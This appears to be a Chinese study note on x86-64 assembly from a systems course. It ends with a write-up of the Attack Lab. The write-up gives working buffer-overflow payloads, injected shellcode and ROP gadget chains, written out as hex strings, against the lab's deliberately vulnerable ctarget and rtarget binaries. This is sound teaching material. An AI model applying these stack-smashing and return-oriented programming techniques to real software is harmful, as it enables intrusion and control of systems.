b
w
l
q
浮点数使用单独的指令集,和上述一般的数据有所不同
s
l
总的来说是 16 个寄存器,每个寄存器又分 4 个具体的寄存器,可以分别访问低 8、低 16、低 32、低 64 位的数据
此外 CPU 中还有一些条件码寄存器,主要配合控制指令来使用。条件码寄存器只存储一个位:
CF
:进位标志。对于整数操作,表示最近的操作的最高位是否产生了进位,可用来检查无符号操作的溢出。对于浮点运算,如果运算结果是负数,或是有一个操作数是 NaN 的话就设置为 1ZF
:零标志。对于整数操作,表示最近的操作结果是否为 0。对于浮点运算,如果运算结果为 0 或是有一个操作数是 NaN 的话就设置为 1SF
:符号标志,表示最近的操作结果是否为负数OF
:溢出标志,表示最近的操作是否导致一个补码发生了正溢出或者负溢出PF
:奇偶标志位。对于整数操作,如果最近的操作结果是偶校验的(即含有偶数个二进制 1),则设置为 1。对于浮点运算,如果有一个操作数是 NaN 的话就设置为 1一般情况下算数指令执行后就会设置条件码,但有如下的注意:
leaq
指令不设置条件码xor
指令不设置 CF
和 OF
CF
为最后一个被移出的位,OF
被设置为 0inc
和 dec
只设置 OF
和 ZF
,不设置 CF
还有一些特殊的寄存器:
%rip
又称为 PC ,程序计数器,存放将要执行的下一条指令在内存中的地址AVX 浮点体系架构还提供如下的寄存器:
这些寄存器主要用来存储向量,如每个 ymm 寄存器可以存放 8 个32 位值,或是 4 个64 位值,浮点数和整数都可以。不过如果单纯用来进行单个浮点数运算的话,只需要用到 xmm 寄存器的低 32 或 64 位
$
开头随后接一个 C 语言中可以表示的整数字面量,如 $-577
、$0x1F
%
开头随后接寄存器的名称Imm(rb,ri,s)
,表示的地址为 Imm+rb+s*ri
,我们其中 Imm
是一个数字,rb
和 ri
是寄存器,s
是一个只能为 1 2 4 8 的数字。我们把 rb
称为基址寄存器,Imm
称为偏移,ri
称为变址寄存器,s
称为比例因子源和目的的数据大小都一致情况:
有几个注意点:
movl
传送完双字之后,该寄存器所对应的 64 位寄存器的高 4 字部分置 0movq
的话,立即数只能是 32 位的,传送时是将 32 位立即数进行符号扩展再传过去movabsq
则可以直接使用 64 位的立即数,但也只能使用立即数,并且传送目标只能是寄存器小数据传到大数据的传送指令有两种:一种进行零扩展一种进行符号扩展
movzlq
,是因为 movl
在传送后自动清空高 4 字节,达到了 movzlq
的目的cltq
无需指定操作数,他和 movslq %eax,%rax
一致,但是编码更加紧凑C 语言中,如果进行强制数据类型转换的时候既涉及大小变化又涉及符号变化时,应先改变大小。比如一个 unsigned char
转 int
的话,应该是零扩展到 32 位,而并非是符号扩展到 32 位
格式为 leaq S,D
,这个指令的 S
部分必须是一个内存引用格式,其作用类似传送指令,把 S
表示的地址传送到 D
中。实际中这个指令和内存地址关系不大,只是单纯的计算数字,如:leaq 7(%rdx,%rdx,4),%rax
就相当于将 %rax
变为 7+5%rax
上面的所有指令都需要添加后缀,比如 addq
同样地,操作数不能同时是内存
对于不符合交换律的运算,如 sub
,一定是后面的操作数在前
其中 k
为移位量,D
表示要作用的目标
k
必须是一个立即数,或是单字节寄存器 %cl
中,其他寄存器不可以D
作为寄存器时大小和后缀相符即可k
使用 %cl
的话,如果 D
的位长为 ,那么位移量由 %cl
的低 位决定,其中 ,高位部分会被忽略。比如 %cl
为 0xFF
的话,salb
会移动 7 位,salw
会移动 15 位,sall
会移动 31 位,salq
会移动 63 位Intel 把 16 字节的数称为八字(oct word)。为了表示 128 位的数据,我们规定 %rdx
存高 64 位,%rax
存低 64 位,然后我们有如下指令:
注意 mulq
只有一个操作数,区别于上面有两个操作数的 mulq
divq
和 idivq
指令执行后会分别把除数和余数放到两个寄存器中
实际上对于非 128 位的数据进行除法或者取模运算的话也需要使用 idivq
和 divq
指令。这些数据在进行 div
指令前需要先通过 clto
指令来把自身符号扩展到 128 位
cmp
和 test
指令分别基于减法和按位与运算,但是只设置条件码
比较常见的是,cmp
指令用来判断两个数的大小,test
传递两个相同的操作数来判断这个数字的正负
通常条件码寄存器不会被直接访问,而是通过如下的指令来访问
其中注意 l
和 b
的后缀不再表示数据的大小了,而是 less 和 below 的意思
无需增加后缀,会自动根据目标寄存器的大小推断
操作数 D
必须是一个单字节寄存器
label 是汇编中的标号,如:
Unknown
12345movq $0,%rax jmp .L1 movq (%rax),%rdx .L1 popq %rdx
jmp
还可以有间接跳转,即跳转目标的地址是从寄存器或者内存中读取的,如:jmp *%rax
和 jmp *(%rax)
跳转指令要跳转到的地址在机器码层面一般有两种编码方式:一种是 PC 相对的,即目标编码为实际地址与当前 PC (当前 PC 是下一条指令的地址)的差值,或者说下一条指令的地址加上跳转指令的地址记为真实跳转到的目标地址;一种是绝对的,即直接写明要跳转到的地址
跳转指令可以用来实现 C 语言的 if 语句,如:
c1234if (test-expr)
then-statement
else
else-statement
一般会被翻译成如下的汇编(用 C 的形式表示)
c12345678 t = test-expr
if (!t)
goto false;
then-statement
goto done;
false:
else-statement
done:
有意思的是汇编的测试条件和 C 的正好相反
上面的跳转可能会影响处理器性能,因为现代处理器是流水线化工作的,一条指令的执行被拆成了好几步,上一条指令还没执行完毕就同时执行下一条指令。如果程序是顺序结构的话,那么处理器在执行的时候会将指令填满流水线。而当遇到分支的时候,处理器无法得知后续要执行的指令,流水线则会空闲。处理器为了保持流水线充满,会对分支进行预测,预测后续执行的指令,但是如果预测失败,则需要很大的惩罚回退已经执行的操作。
部分分支情况可以使用条件传送进行优化。这种优化会把两个分支都进行计算,然后在最后根据条件选择要选用的值:
只有满足相应的条件,才会进行传送
S
只能是寄存器或者内存,R
只能为寄存器C 语言中使用三目表达式可能会更容易让编译器使用条件传送指令
有些情况下,有可能把两个分支的值都计算完毕之后比分支预测失败带来的惩罚还高,那么编译器就不会选用条件传送
如果分支并非单纯的计算值,而是可能有副作用,那么也不会选择条件传送
如:
看起来可以用条件传送,但是如果 xp
真的为空指针的话,提前计算 *xp
会导致空指针异常
其中 X
只能选择 XMM 寄存器,M
只能选择内存
如果浮点运算涉及到了立即数,那么需要由编译器先把立即数写到 rodata 段,然后从内存引用
浮点转整数
截断会向 0 舍入
整数转浮点
一般源 2 和目的一致
单精度到双精度
如果想把单精度数据转成双精度数据的话,可以使用 vcvtss2sd
指令,如 vcvtss2sd %xmm0,%xmm0,%xmm0
即可把 %xmm0
的单精度变为双精度
不过 GCC 生成如下的代码
Unknown
12vunpcklps %xmm0,%xmm0,%xmm0 vcvtps2pd %xmm0,%xmm0
vunpcklps
将两个 xmm 寄存器的值交叉放置,然后把结果放到第三个寄存器。比如第一个寄存器的内容为字 [s3,s2,s1,s0]
,另一个寄存器的内容为字 [d3,d2.d1,d0]
,那么目标寄存器的值会变为 [s1,d1,s0,d0]
。那么对于上面这个指令,如果 %xmm0
的值为字 [x3,x2,x1,x0]
的话那么 %xmm0
会变为 [x1,x1,x0,x0]
。
vcvtps2pd
会将源寄存器的两个低位的单精度值扩展成 xmm 寄存器中的两个双精度值。对于上面这个例子,最终 %xmm0
变为 [dx0,dx0]
那么上述两个指令合起来的效果就是把 %xmm0
低 32 位表示的单精度浮点数转为两个一样的双精度
这样做不会有什么好处,GCC 这么做的原因也不明
双精度到单精度
可以使用 vcvtsd2ss %xmm0,%xmm0,%xmm0
指令,但是 GCC 产生如下的代码:
Unknown
12vmovddup %xmm0,%xmm0 vcvtpd2psx %xmm0,%xmm0
vmovddup
会将 xmm 的低 64 位复制到高 64 位,于是如果 %xmm0
为 [x1,x0]
的话会变成 [x0,x0]
,vcvtpd2psx
会将 xmm 的两个双精度数字变为两个单精度,并在高 64 位填充 0,即会变为 [0.0,0.0,x0,x0]
S1
必须是 xmm 寄存器或者是内存浮点运算主要会设置 ZF
、CF
和 PF
,设置条件如下:
%rsp
寄存器存放当前栈顶地址
其中 call
指令会首先把当前 PC (即下一条指令的地址)压入栈中,用来后续返回,然后将 PC 置为要调用的函数的地址
ret
指令会从栈中弹出一个值(编译器需要确保执行 ret
时已经弹栈到返回地址处了),然后将 PC 置为这个值
返回值放在 %rax
寄存器中,如果返回值是浮点数,则会放在 %xmm0
传递参数时,前 6 个参数通过寄存器传递,使用寄存器的规则如下:
多余 6 个的参数会直接压入栈中
对于浮点数参数,前 8 个浮点数参数会使用 %xmm0
到 %xmm7
传递,剩余的会压入栈中
压入栈中的时候,无论是 8 位 16 位还是 32 位,都占用 64 位的栈空间
注意第七个函数位置是 %rsp+8
,因为 %rsp
的位置上是 call
指令压入的返回值地址
为了确保调用一个函数前后,被调用的函数不会覆盖调用函数稍后会使用的寄存器值,我们需要有一个约定。一些寄存器是需要调用者进行提前保存的,一些寄存器是需要被调用者保存的。
我们假设现在是函数 A 调用了函数 B
%rbx
、%rbp
、%r12
~ %r15
被划分为被调用者保存寄存器。函数 B 需要确保自己执行前后这些寄存器的值不变。函数 B 要么根本不去动这些寄存器,要么先把这些寄存器的值压入栈中,返回时再恢复。这样,函数 A 可以在调用 B 前放心地把数据存到这些寄存器上
上述以外的寄存器(%rsp
除外)被划分为调用者保存寄存器,包括 ymm 和 xmm 这些寄存器。任何函数都可以随意使用这些寄存器,如果函数 A 需要确保这些寄存器在调用函数 B 后不变的话,需要自行保存
对于 switch 语句,如果判断的情况比较少的时候可能会直接展开成 if 语句,如果判断的情况比较多,且判断的值范围跨度比较小的时候,就会使用跳表
比如:
会编译成:
其中,L4 是位于 rodata 段的数据:
换成 C 语言代码就是:
其中 &&
表示获取某个代码位置的地址
大概就是把 switch 判断的值映射到一个比较小的值上面,然后以映射后的值作为下标直接从数组中获取跳转地址。这种带来的好处就是无论需要判断的情况有多少,执行 switch 指令的时间都是一样的
多维数组在内存中的排列规则是,最后一个下标的元素连续,比如:
ISO C99 引入了变长数组这一特性,允许声明数组时数组长度为变量
数组长度无法在编译期获知的话,可能会使得函数在返回时不好清理当前栈帧。为了管理变长栈帧,x86-64 使用 %rbp
这个寄存器存储当前的栈顶地址。由于 %rbp
是被调用者保存寄存器,需要先压入栈中。比如:
对应汇编:
运行时栈上的情况为:
当函数返回之前,会执行一个 leave
指令,该指令不需要操作数,等价于下面两条指令:
Unknown
12movq %rbp,%rsp popq %rbp
即会直接把 %rsp
置为栈顶来清栈,然后恢复 %rbp
结构体可能包含多种数据类型。为了提高内存读写效率,数据之间需要进行对齐。对齐原则是任何 字节的基本对象的地址必须是 的倍数
比如:
struct P1 {int i;char c;int j;char d;};
偏移 | 0 | 4 | 8 | 12 | 16 | 对齐 |
---|---|---|---|---|---|---|
内容 | int i; |
char c; + 填充 |
int j; |
char d; + 填充 |
4 |
注意最后大小不是 9,d
后面还有 3 字节的填充。这么做是因为我们希望做到 P1
类型后面再跟一个 P1
类型的话,后面 P1
类型的第一个成员也满足对齐
struct P2 {int i;char c;char d;long j;};
偏移 | 0 | 4 | 5 | 8 | 16 | 对齐 |
---|---|---|---|---|---|---|
内容 | int i; |
char c; |
char d; + 填充 |
long j; |
8 |
struct P3 {short w[3];char c[3];};
偏移 | 0 | 6 | 10 | 对齐 |
---|---|---|---|---|
内容 | short w[3]; |
char c[3]; + 填充 |
2 |
这个例子最后的填充说明,数组需要对齐的倍数为数组元素的大小而并非整个数组的大小
struct P4 {short w[5];char *c[3];};
偏移 | 0 | 16 | 40 | 对齐 |
---|---|---|---|---|
内容 | short w[5]; + 填充 |
char c[3]; |
8 |
struct P5 {struct P3 a[2];struct P2 t;};
偏移 | 0 | 24 | 40 | 对齐 |
---|---|---|---|---|
内容 | struct P3 a[2]; + 填充 |
struct P2 t; |
8 |
对于结构体,我们需要把结构体作为一个大的类型看。结构体的对齐并非是结构体的大小了,而是结构体成员中的对齐的最大值。结构体作为成员时,起始地址应该是其对齐的倍数。这么做的原因是,1 2 4 8 这四个数,后面的数字都是前面的数字的倍数,比如按 8 对齐之后自然满足按 2 对齐,但是按 2 对齐后未必能是按 8 对齐的,所以我们要取对齐的最大值
如果要进行缓冲区攻击,那么就需要把恶意代码放到缓冲区中,同时我们还需要得知插入代码的地址。因此一个防范手段是,程序开始时就在栈上分配一段随机大小的空间,这样就相当于把栈的起始地址随机了,这样一来攻击者将很难得知插入的代码位于哪里
一个解决手段是,将恶意代码前面加入若干 nop
指令,这种指令只会增加 PC 而不会有其他行为。这样,攻击者只需要猜对有 nop
指令的范围就可以了,跳到 nop
范围后程序将会沿着 nop
一直滑向恶意代码,对应的专业术语叫空操作雪橇(nop sled)
GCC 会评估一个函数是否容易受到缓冲区攻击,并在缓冲区的上方防止一个特殊的数据,被称为金丝雀。在执行 ret
指令之前,GCC 会生成检查代码,检查这个金丝雀是否发生改变。如果改变的话说明缓冲区被攻击,会立刻终止程序
其中第 3 行获取金丝雀数据,第 13 行进行金丝雀检查
编译时使用 -fno-stack-protector
参数可以禁止 GCC 进行栈破坏检测
可以在分页的时候限制执行权限
产生汇编代码:gcc -Og -S mstore.c
,其中 -Og
会使得编译器尽可能保持代码的整体结构,-S
说明生成汇编代码
产生机器代码:gcc -Og -c mstore.c
,-c
表示产生二进制的机器代码
反汇编:objdump -d mstore.o
可以把上面产生的二进制机器码反汇编
写了几天的实验过程突然丢失了,等大二下学期正式学 CS 的时候再补()
我们需要进行一个缓冲区攻击,使得 getbuf 函数返回值直接跳到 touch1 函数
大概的思路就是我们想办法把 getbuf 函数栈顶上方的返回值地址给篡改一下
首先 objdump -d ctarget > disa.asm
对 ctarget
来个反编译。touch1 函数在 00000000004017c0
地址处,getbuf 函数的反编译:
Unknown
12345678900000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
getbuf 函数开了个缓冲区之后就去调用 Gets 函数了。缓冲区大小为 40 字节。缓冲区前面 8 字节应该就是返回值地址。那么我们可以大概构造出:
text
12300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 0a
前面 40 字节无所谓,用来填充缓冲区,后面 8 字节构造了到 touch1 函数的地址,最后给个 0a 作为换行符结束输入
这次我们需要让 getbuf 函数不仅跳转到 touch2 函数,还携带一个参数
我们可能要考虑,先篡改 getbuf 栈顶上面的返回值地址,让其先指向我们自己的代码,然后我们去修改 %rdi
,然后再跳到 touch2 函数
一个困难之处在于可能栈地址是随机的,好在经过测试,ctarget
栈地址并没有随机。我们使用 gdb 在 getbuf 出打断点,并输出 %rsp
的值,为 0x5561dca0
。一个注意地方是我们需要在 gdb 中先 set args -q
使得程序不连接评分服务器
任务指导书中特别提示,我们最好不要使用 jmp
和 call
来进行跳转,因为这两个指令的编码可能会比较困难,建议我们使用 ret
指令,那我们可能需要考虑继续篡改 getbuf 栈顶再上面 8 个字节的地方(因为第一次从 getbuf 跳转后 %rsp
向上移动了 8 个字节)
touch2 的地址为 00000000004017ec
将指令变为二进制可以直接使用 gcc,如 gcc -c example.s
然后再 objdump -d example.o > example.d
先构造自己的代码:
Unknown
12movq $0x59b997fa, %rdi ret
编译得到的二进制为
text
148 c7 c7 fa 97 b9 59 c3
然后我们考虑把这块代码放到缓冲区的位置,构造:
Unknown
123400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 c3 98 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00 0a
注意缓冲区最后的地址是 0x5561dca0
,但是我们不能直接从这个地址开始执行,应该从 0x5561dc98
开始:
Unknown
1234(gdb) x/20xb 0x5561dc98 0x5561dc98: 0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0xc3 0x5561dca0: 0xa0 0xdc 0x61 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0xec 0x17 0x40 0x00
提交后出现了段错误:
Unknown
12345678910Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget Ouch!: You caused a segmentation fault! Better luck next time FAIL: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:FAIL:0xffffffff:ctarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 FA 97 B9 59 C3 98 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
根据 gdb,发现 touch2 判断通过之后还需要执行一个 validate 函数,这个函数调用 notify_server 函数,执行这个函数时发生了段错误,可能是我们注入的 touch2 地址破坏了什么东西
看样子我们不能溢出太多,不然会造成莫名其妙的破坏,于是我考虑另一个方案,跳到我注入的代码之后,我先把 %rsp
减少 8,然后再把 touch 地址写到 (%rsp)
处,这样就确保对栈破坏最小
Unknown
1234movq $0x59b997fa, %rdi add $-8, %rsp movq $0x004017ec, (%rsp) ret
得到二进制:
Unknown
12345678910111213ans2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 48 83 c4 f8 add $0xfffffffffffffff8,%rsp b: 48 c7 04 24 ec 17 40 movq $0x4017ec,(%rsp) 12: 00 13: c3 ret
构造
Unknown
12300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 48 83 c4 f8 48 c7 04 24 ec 17 40 00 c3 8c dc 61 55 0a
终于通过
不过后续在做 Phase 3 的时候实在好奇为什么不能再往上多修改一些栈数据,不能多修改的话可能会影响 Phase 3 的发挥。
在 gdb 中,触发段错误后,使用 disas 看到了触发段错误的指令:movaps %xmm0,-0x40(%rbp)
查看 %rbp
的值是正常的,应该不是引用了非法内存,这就很奇怪了,于是询问 ai 得知,movaps
这个涉及到 %xmm0
(涉及到的原因应该不是浮点运算,应该是使用 %xmm0
做向量运算),这个指令要求目的地址按 16 字节对齐,一般情况下编译器会自动保证这里是满足对齐要求的,但是我们之前修改了 %rsp
,可能破坏了对齐
这次要求我们让程序跳转到 touch3,要求我们不仅注入代码还要注入特定字符串,并传递字符串指针作为 touch3 的参数
cookie 对应的 ascii 码的十六进制表示为 0x6166373939623935
,然后再加一个 00
结尾。首先一个问题是这个字符串数据放在哪里。一开始怕破坏太多栈空间导致段错误(后来才知道是对齐的原因),所以考虑把数据放在栈中比较靠近底部的位置,然后在自己注入的代码中去注入数据:
Unknown
1234567movq $0x6166373939623935, %r8 movq %r8, 0x55620000 movq $0x00, 0x55620008 movq $0x55620000, %rdi add $-8, %rsp movq $0x004018fa, (%rsp) ret
不过遗憾的是这样编译出来的代码太大,超过了 40 字节,导致后面无法再篡改返回值地址了
观察 x86-64 指令的编码,如果直接指定内存的地址,那么会直接占用 8 字节,而如果是根据寄存器 + 偏移进行寻址的话编码大小会少一些
目前比较好控制的寄存器就是 %rsp
了,当跳到我们注入的代码之后,此时 %rsp
指向 test 函数的栈顶,我们考虑把数据直接注入到 %rsp
上
Unknown
1234567movq $0x6166373939623935, %r8 movq %r8, (%rsp) movq $0x00, 8(%rsp) movq %rsp, %rdi add $-8, %rsp movq $0x004018fa, (%rsp) ret
构造:
Unknown
12300 49 b8 35 39 62 39 39 37 66 61 4c 89 04 24 48 c7 44 24 08 00 00 00 00 48 89 e7 48 83 c4 f8 48 c7 04 24 fa 18 40 00 c3 79 dc 61 55 0a
通过
从这个 phase 开始,我们需要一个新的被称为 ROP 的攻击手段。任务指导书中介绍了这个手段。
大概就是,如果程序的栈地址是随机化的,且栈所处的内存被记为不可执行,那么前面的代码注入的方法就行不通了,甚至使用 nop sled 都无法发挥作用。ROP 考虑利用现有的代码,汇编指令都是一个一个放置的,只有我们找对了第一个指令的起始地址,那么后续指令就会一个一个跟着执行,但是如果我们截取现有代码中的一部分指令,比如从一个完整的指令中间开始解码指令,有可能就能得到我们想执行的恶意代码。一般我们需要反编译程序然后找到这种指令的首地址。我们可能更倾向于找最后是 0xc3
结尾的部分,因为 0x3c
在 x86-64 中是 ret
指令,这样的话我们可以在执行一部分恶意代码之后跳到下一个地方执行恶意代码。
本次 lab 为了简单起见,要攻击的程序 rtarget
里面有很多奇怪函数,目的是暴露潜在的恶意指令,方便我们攻击。并且任务指导书中划定了寻找可以利用的指令的范围。
Phase 4 需要我们像 Phase 2 那样进行攻击,大概就是我们需要寻找可以利用的指令,这些指令可以调用 touch2 并传递一个参数
要注入数据的话,直接从现有指定中找应该是几乎不可能的。不过指导书里有一个提示,我们可以考虑利用 pop
指令,这个可以把当前栈顶数据弹到寄存器,而栈顶的元素我们是可以自己去设置的
那么我们现在要寻找的目标是一个 pop %rdi
或者是 pop
后再 mov
到 %rdi
指令对应的字节如下:
首先是这里
text
12300000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret
58
是 popq %rax
,可以让我们的数据传到 %rax
中,后续的 90
是 nop
,而
Unknown
12300000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret
中的 48 89 c7
则可以直接让我们把注入的数据传到参数中,后面的 c3
直接返回
两者的地址分别是 0x4019ab
和 0x4019a2
,touch2 的地址为 0x4017ec
于是我们这么构造:
text
12345600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00 a0
显示填充缓冲区,然后是第一次跳转地址(到 pop
),然后是注入数据,然后是第二次跳转地址(到 mov
),然后是第三次跳转地址(到 touch2)
指导书在这里开始有点劝退还挺有意思()
首先提到这里需要用到一些新的指令
D 组比较有意思,这些指令执行之后并不会改变任何寄存器,可以视为 nop
指令
以及提到了标准答案用到了 8 个 gadgets,非常可怕
同时还说到了 movl
会将寄存器的高 32 位清零
首先我们要考虑还和上面一样注入字符串的数据。字符串指针的数据比较难搞,因为我们现在不知道栈的具体地址,不能直接把指针指向栈上。而给出的指令都没有涉及到内存寻址。
我想到一个办法,可以考虑把数据正好注入在最后执行 touch3 之前的栈顶上,然后把 %rsp
赋值给 %rdi
。不过对应的 48 89 e7
没有在代码中找到。反而是观察到了 48 89 e0
有很多,对应于 mov %rsp,%rax
。我们过滤掉一些不能用的(即 48 89 e0
后面还跟着其他未知指令),还有这些:
Unknown
1234560000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret 0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 ret
那么再考虑从 %rax
传到别的地方,刚好就有下面这个 mov %rax,%rdi
Unknown
12300000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ret
不过还有一点,我们把 %rsp
传给 %rax
时,%rsp
指向的内容是一个 8 字节的下一步要跳转的地址,我们是不可能在这个地方放置数据的
一个想法是,我们希望 mov %rsp,%rax
之后再 pop
一下,让 %rsp
往下走一下
要实现这个,我们可能需要 89 e0
到 89 e7
后面找 58
到 5f
,可惜根本找不到。
于是到这里就完全卡住了,我几乎把能用到的指令全找出来了。大概是:
pop %rax
将栈中数据转移到 %rax
mov
指令将 %esp
数据转移到 %rax
然后数据从 %rax
有两个走向
%rax
-> %edi
%rax
-> %edx
-> %ecx
-> %esi
不过现在还是难以获得注入字符串数据的指针。在这里卡了快一天了,最后直接让 ai 给了一点提示。ai 说注意使用 lea
指令。于是我突然意识到,我们不光可以从字节中直接截取出指令,还能直接利用现有的指令,比如这里就有个非常关键的地方:
Unknown
12300000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret
这个可以让 %rax
变为 %rdi + %rsi
,而 %rdi
和 %rsi
是可以根据我们上面分析出来的数据走向得到的
先整理一下我们用到的指令的地址:
Unknown
12345678910111213141516171819202122232425262728popq %rax: 0x4019cc 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 ret movq %rsp,%rax: 0x401a06 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret movq %rax,%rdi: 0x4019a2 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret movl %eax,%edx: 0x4019dd 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret movl %edx,%ecx: 0x401a34 0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret movl %ecx,%esi: 0x401a27 0000000000401a25 <addval_187>: 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 ret lea (%rdi,%rsi,1),%rax: 0x4019d6 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret
于是大概的思路就是,我们先把 %rsp
移动到 %rdi
中,然后通过 pop
将一个地址偏移量的数据从栈中传到 %rax
,然后到 %esi
,然后使用 lea
计算出字符串的地址,再传到 %rdi
中。字符串数据应该放在所有跳转地址的最后面
一开始我是把 %rsp
放到 %esi
中的,后来在 gdb 中调试发现 rtarget 的栈位于整个虚拟内存空间比较高的一部分,这意味着栈地址的高 32 位是有数据的。而上面的指令中只有 %eax
到 %edx
,不能传 64 位的栈地址
然后大概是
Unknown
12345678popq %rax 0x4019ca movl %eax,%edx 0x4019dd movl %edx,%ecx 0x401a34 movl %ecx,%esi 0x401a27 movq %rsp,%rax 0x401a06 movq %rax,%rdi 0x4019a2 lea (%rdi,%rsi,1),%rax 0x4019d6 movq %rax,%rdi 0x4019a2
然后注意一下地址偏移数据的构造。%rsp
被存到 %rax
的时候,%rsp
指向的位置后面需要继续放 4 个跳转地址,总共 32 字节,十六进制为 0x20
Unknown
1234567891011121300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 a0